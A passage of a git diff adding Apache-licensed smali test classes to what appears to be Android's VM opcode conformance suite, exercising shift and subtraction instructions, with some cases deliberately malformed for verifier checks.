+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v7
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali
new file mode 100644
index 0000000..aa6907b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_1.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali
new file mode 100644
index 0000000..1985184
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2
+       const-wide v2, 12345.0
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali
new file mode 100644
index 0000000..b444489
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_3.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 4
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali
new file mode 100644
index 0000000..6289982
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_4.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali
new file mode 100644
index 0000000..1e1ad72
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_5.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali
new file mode 100644
index 0000000..942d05d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_6.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v3
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali
new file mode 100644
index 0000000..5414e81
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali
new file mode 100644
index 0000000..d7d7a55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2
+       const-wide v2, 12345.0
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali
new file mode 100644
index 0000000..70aeeaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 4
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali
new file mode 100644
index 0000000..f368bfe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr  v1, v0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali
new file mode 100644
index 0000000..c25fa82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali
new file mode 100644
index 0000000..c3448c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr v1, v3
+       return v1
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali
new file mode 100644
index 0000000..16b13f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 15
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali
new file mode 100644
index 0000000..0f579a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v0, 12345456788.0
+       ushr-int/lit8 v1, v0, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali
new file mode 100644
index 0000000..f6b6d93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 2
+
+       ushr-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali
new file mode 100644
index 0000000..3850f8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       ushr-int/lit8 v1, v2, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali
new file mode 100644
index 0000000..597ff1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       ushr-int/lit8 v1, v3, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali
new file mode 100644
index 0000000..17ba7b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 33
+       ushr-int/lit8 v1, v1, 2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali
new file mode 100644
index 0000000..71b1324
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, -15
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali
new file mode 100644
index 0000000..0bb01de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 1
+       ushr-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali
new file mode 100644
index 0000000..e630286
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 33
+       ushr-int/lit8 v1, v1, 33
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali
new file mode 100644
index 0000000..762e8df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 0
+       ushr-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali
new file mode 100644
index 0000000..369a384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
